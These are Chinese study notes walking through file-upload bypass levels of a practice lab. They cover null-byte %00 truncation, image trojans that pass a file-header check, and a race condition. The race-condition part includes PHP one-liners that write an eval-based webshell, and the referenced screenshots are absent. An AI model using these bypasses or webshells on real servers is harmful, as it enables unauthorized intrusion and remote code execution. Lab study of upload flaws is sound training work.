get可以用%00截断
post就必须抓包修改16进制了
文件包含+木片马
假如说,我们可以看到源码,那么这里表明只允许上传jpg、png、gif文件,除此以外,其他都不能。
%00截断,php5.3.29以下才可以用
先上传,再检测
之前我们说了,上传过程中先是上传到临时目录,然后检测,不合规的就删除,也就是说她原来是把123.jpg上传到upload目录。
但是我们在临时目录前面加上我们自己的一句话木马(1.php)后面跟上%00截断
,
后面就会变成upload/1.php%00
123.jpg,(这里的1.php%00是我们自己加的,因为后面她会跟123.jpg拼接,但是因为%00截断,后面拼接的又要失效。所以最后网页上显示的实际是1.php,而1.php后面的全部无效。)
最先是检测后缀名是否合规,判断到jpg合规,然后上传并移动目录,但是在移动的过程中,因为%00是结束符的意思,那么就把这个文件读取成了1.php,最后再把123.jpg重命名。
11(%00截断一)
12(%00截断二)
我们知道a的ascii码是61,那么我们改成00,然后放包就彳亍了。
13图片马绕过
查看源码:
可以看到,这里是通过读取上传文件的头2个字节来判断文件类型的,所以这里就只能上传图片马了。
制作图片马:
然后上传,查看图片元素:
OK,上传成功。
PS:由于上传后文件名的后缀即其所判断的图片类型的后缀,而且这里也不存在文件包含或者其他什么漏洞,所以无法用菜刀进行进一步的利用。
17 条件竞争。
原理
在删除之前访问的到旧木马,生成另一个新木马
这样就算原先的木马被删了,我们还是有新的木马在
旧木马写语句
<?php file_put_contents('nf.php','<?php eval($_REQUEST[\'a\'])?>')?>
或者
<?php file_put_contents('nf.php','<?php eval($_REQUEST[1])?>')?>
那么我们既然知道了,旧木马的上传位置,我们就要在旧木马被删除之前,疯狂访问他,让他在被删除之前生成新的木马。
这里可以先正常上传一张图片知道路径。
那么现在开始,2个跑包,一个上传包,一个访问包。
上传包设置好了,现在来设置访问包。
然后我们再去访问新木马。这里应该是我访问包写错了,
方法二
还是一样的思路,只不过上传包就是普通的图片马,这里就访问包发生了点变化。
最后还是没跑出来,,方法一不是很确定,但是方法二是一定可以做出来的这个就看自己运气了
是不是觉得不行?
那么我们就来本地测试一下。
先上传一个一句话木马,
新木马写入成功!!!!!!!!!!!!!!!!!!!!!
本地测试成功!!!!!!!!!!!!
18和17一样的。
19 、move_uploaded_file()截断
不管你上传什么格式的文件,她都会统一变成指定格式的文件,
那么我们就可以利用之前的%00截断来做,但是她这里是post传参,我们就要去手动修改成url,也就是16进制。
记得要把后面截断的部分去掉,不然访问不了。